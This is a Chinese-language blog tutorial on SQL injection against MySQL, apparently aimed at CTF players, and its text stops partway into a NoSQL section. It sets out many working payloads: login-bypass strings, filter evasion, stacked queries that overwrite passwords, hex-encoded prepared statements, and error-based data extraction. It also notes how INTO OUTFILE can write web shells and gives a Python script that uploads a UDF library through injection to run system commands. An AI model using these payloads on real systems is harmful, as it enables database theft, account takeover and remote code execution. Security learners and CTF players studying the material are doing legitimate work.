Web安全注入地书——SQL注入的基石
Posted IT老涵
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授人以鱼，不如授人以渔
尽量做到简洁的方式将绕过方式原理在这一篇文章中讲清楚
【查看资料】
不适合人群：
1.对 sql 注入各种原理了如指掌，信手拈来的大佬
2.没有任何数据库以及python基础的新手
3.暂时没有自主动手实践、查询资料能力的新手
SQL注入基础知识以及各种技巧
本质就是开发者对用户输入的参数过滤不严格，导致用户输入数据能够影响预设查询功能的一种技术。通常导致数据库的原有信息泄露、篡改、删除。本文将针对 mysql 的各种注入方式和对应的应用技巧。
【网络安全学习资料·攻略】
1.id=1’or’1’=‘1’%23 无空格万能密码
id=-1’or(id=26)and’1’='1 指定序号的万能密码
2.对输出结果简单检测的，如检测到flag返回就拦截，可以通过加密来绕过
1' union select 1,2,to_base64(password) from user3-- -
如这里用base加密
3.空格过滤了可以用/**/绕过 。原理：mysql中注释可以当空格用
这几个都能作为空格使用
09 水平制表符
0a 换行
0b 垂直制表符
0c 换页
0d 回车
4.反引号可以用来标注字段和表
5.md5(str,true)的绕过
ffifdyop,129581926211651571912466741651878684928这两个字符经过md5之后有or 6这个字符串，利用其进行绕过’ ‘or ’ 6’
6.sql注入中弱比较的使用，例子与原理如下
7.modify只能改字段数据类型完整约束，不能改字段名，但是change可以
8.堆叠注入来修改密码绕过登录
0x61646d696e;update`table_name`set`pass`=1;
# 至于为什么非得用十六进制登录，是因为下面这个没有字符串单引号包围，前面0x61646d696e（admin）也可以用0来代替（弱比较）
图片注释注入：
1.图片的EXIF信息中有一个comment字段，也就是图片注释。finfo类下的file()方法对其进行检测。可以利用这个传入服务器中造成注入。
2.修改EXIF信息可以用exiftool工具 exiftool -overwrite_original -comment=
3.上传文件文件名随机并不考虑类型时可能注入点在这
Handler注入（mysql特有）：
#先用 Handler 开启某个表
HANDLER tbl_name OPEN [ [AS] alias]
#后续可以Read读取，直到Close
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
#第一种语句，通过指定索引和where条件查询，如果为多重索引，那就用，分隔并对每列都指定索引
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
#第二种语句， 正常语法
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
#第三种语句，速度比第二种更快。适用于InnoDB表
HANDLER tbl_name CLOSE
预处理注入：
格式如下
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
实际操作
#基本条件得存在堆叠注入，可以用concat(char(115,101,108,101,99,116)代替select
username=1';PREPARE xxx from select group_concat(column_name) from information_schema.columns where table_name='flag';EXECUTE xxx;
#改进，十六进制预处理注入,转后前面加个0x，和上面一句话的意思相同
username=user1';PREPARE xxx from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c616727;EXECUTE xxx;
在线的十六进制转换网站 ：https://www.sojson.com/hexadecimal.html
存储过程和函数的信息的表information_schema.routines：
1.基本格式
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name';
# ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称
如果不使用 ROUTNE_NAME 字段指定存储过程或函数的名称，将查询出所有的存储过程或函数的定义。如果存储过程和存储函数名称相同，则需要要同时指定 ROUTINE_TYPE 字段表明查询的是哪种类型的存储程序。
update注入：
当页面存在更新的时候，结果不会显示出来。但可以更新结果到指定的表中直接观测。
例子：
#分页查询
$sql = "update table_user set pass = '{$password}' where username = '{$username}';";
#查库名、闭合引号
password=1',username=database()#&username=1
当某些时候输入的单引号被过滤的时候
#分页查询
$sql = "update table_user set pass = '{$password}' where username = '{$username}';";
#反引号逃逸效果
password=\\
#分页查询
$sql = "update table_user set pass = ' \\' where username = ' {$username}';";
#可以看到，中间 \\' where username = 这一段被标注。注入点转至username
最后查询库名的payload
password=1\\&username=,username=(select database())#
Insert注入：
例子如下：
//插入数据
$sql = "insert into ctf_user(username,pass) value('{$username}','{$password}');";
username=1',database());
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()));
#（）绕过空格过滤
username=1',(select(database())));#&password=1
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#&password=1
无列名注入：
一个例子来说明【网络安全学习资料·攻略】
select `3` from (select 1,2,3 union select * from admin)a;
1,admin中有三个字段，第三个字段为password。子查询里面的语句将admin的3个列名作为别名
2，子查询整体作为a表
3，查询a表中的第三个字段，也就是password
简单扩展一下
#利用别名绕过反引号
select b from (select 1,2,3 as b union select * from admin)a;
#多项查询
select concat(`2`,0x2d,`3`) from (select 1,2,3 union select * from admin)a limit 1,3;
1.高版本的mysql中 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
5.6.6开始，MySQL默认使用了持久化统计信息，即INNODB_STATS_PERSISTENT=ON，持久化统计信息保存在表mysql.innodb_table_stats和mysql.innodb_index_stats。
由于performance_schema过于发杂，所以mysql在5.7版本中新增了sys schemma，本身不存储数据
1.schema_auto_increment_columns，该视图的作用简单来说就是用来对表自增ID的监控。
2.schema_table_statistics_with_buffer，非自增ID也能看见
3.x$schema_table_statistics_with_buffer，同上
select into outfile的sql语句：
将表数据到一个文本文件中，并用LOAD DATA …INFILE语句恢复数据
语句基本结构，以及参数含义
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
##############################################
“OPTION”参数为可选参数选项，其可能的取值有：
FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可为单个或多个字符。默认“\\t”。
FIELDS ENCLOSED BY '字符'：设置字符来括住字段的值，只能为单个字符。默认不使用任何符号。
FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
FIELDS ESCAPED BY '字符'：设置转义字符，只能为单个字符。默认“\\”。
LINES STARTING BY '字符串'：设置每行数据开头的字符，可以为单个或多个字符。默认不使用任何字符。
LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\\n”。
##############################################
其中具备写马条件的只有这三条语句
FIELDS TERMINATED BY
LINES STARTING BY
LINES TERMINATED BY
报错注入：
人为地制造错误条件，使得查询结果能够出现在错误信息中
xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。使用条件：mysql版本>5.1.5
#简单介绍一下用的比较少的 extractvalue
正常语法：extractvalue(xml_document,Xpath_string);
第一个参数：xml_document是string格式，为xml文档对象的名称
第二个参数：Xpath_string是xpath格式的字符串
作用：从目标xml中返回包含所查询值的字符串
#第二个参数是要求符合xpath语法的字符串，如果不满足要求，则会报错，并且将查询结果放在报错信息里
简单mysql利用
#查数据库名：
id='and(select extractvalue(1,concat(0x7e,(select database()))))
#爆表名：
id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
#爆字段名：
id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
#爆数据：
id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
ps:
一.0x7e=’~’,为不满足xpath格式的字符
二. extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位
双注入原理分析:
现象：组合利用count(), group by, floor()，能够将查询的一部分以报错的形式显现出来
#经典的双注入语句
select count(*),concat((payload), floor( rand(0)*2)) as a from information_schema.tables group by a
#当from一个至少3行以上的表时，就会产生一个主键重复的报错，把你显示的信息构造到主键里面，mysql就会报错把这个信息给你显示到页面上。
问题所在：
1）floor(rand(0)*2)生成的随机数列是伪随机。（其实不太重要）
2）表中字段数大于三
3）每次查询和插入，rand(0)函数都会执行一次。（关键）
第一次查询，查询key为0的字段，发现虚拟表为空，因此进行插入操作。再次调用floor()，因此插入的key是1而不是0，还会将对应的count()值填在key的后面。
第二次查询调用floor，得到的值为1，表key为1的字段存在，因此此处的插入操作就是将coun()的值进行叠加。
第三次查询，此时查询的key为0，发现虚拟表中没有0，因此要进行插入操作。调用floor()，得到了1，因此要插入一个key为1的字段。而key为1的字段已经存在了，因此主键重复，MySQL会报错
ps：rand可以用round代替，floor可以用ceil代替
mysql的udf注入：
1.udf 全称为：user defined function，用户自定义函数。用户可以添加自定义的新函数到Mysql中，以达到功能的扩充，调用方式与一般系统自带的函数相同
2.利用需要拥有将udf.dll写入相应目录（plugin）的权限。select @@plugin_dir可以得到plugin目录路径
3.将dll上传方式几种:.通过webshell上传、以hex方式直接上传
4.udf获取方式，可以在sqlmap中获取
在 \\sqlmap\\data\\udf\\mysql\\windows\\64目录下存放着lib_mysqludf_sys.dll_
1.sqlmap中自带的shell以及一些二进制文件，为了防止误杀都经过异或编码，不能直接使用
2.sqlmap 自带的解码工具cloak.py，在sqlmap\\extra\\cloak中打开命令行，来对lib_mysqludf_sys.dll_进行解码然后利用
cloak.py -d -i C:\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll_
3.接着就会在\\sqlmap\\data\\udf\\mysql\\windows\\64目录下生成一个dll的文件lib_mysqludf_sys.dll，可以利用lib_mysqludf_sys提供的函数执行系统命令。
5.一般将udf.dll文件进行hex编码，借助mysql中的hex函数，先将udf.dll移动到C盘中，这样路径也清晰一些，然后执行下面命令
select hex(load_file(‘C:/udf.dll’)) into dumpfile ‘c:/udf.txt’【网络安全学习资料·攻略】
6.攻击过程中，首先需要将lib_mysqludf_sys ( 目标为windows时，lib_mysqludf_sys.dll；linux时，lib_mysqludf_sys.so）上传到数据库能访问的路径下。dll文件导入到plugin中，然后在mysql中执行
create function sys_eval returns string soname ‘udf.dll’
7.系统命令函数：
sys_eval，执行任意命令，并将输出返回。
sys_exec，执行任意命令，并将退出码返回。
sys_get，获取一个环境变量。
sys_set，创建或修改一个环境变量。
8.脚本应用
import requests
base_url="http://api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = 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for i in range(0,21510, 5000):
end = i + 5000
payload.append(udf[i:end])
p = dict(zip(text, payload))
# zip() 函数用于将可迭代的对象作为参数，将对象中对应的元素打包成一个个元组，然后返回由这些元组组成的列表。
for t in text:
url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
r = requests.get(url)
print(r.status_code)
next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)
#udf文件字符太大，为了绕过字符数限制，通过abcde五个文件分割再合并
uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)
nosql注入（MongoDB）：
1.可以引起SQL攻击的语句：
1.重言式，永真式。在条件语句中注入代码,使表达式判定结果永真,从而绕过认证或访问机制。比如实际中用$ne操作(不相等)的语法让他们无需相应的凭证即可非法进入系统。
2.联合查询。最常用的用法是绕过认证页面获取数据。比如通过增加永真的表达式利用布尔OR运算符进行攻击以上是关于Web安全注入地书——SQL注入的基石的主要内容，如果未能解决你的问题，请参考以下文章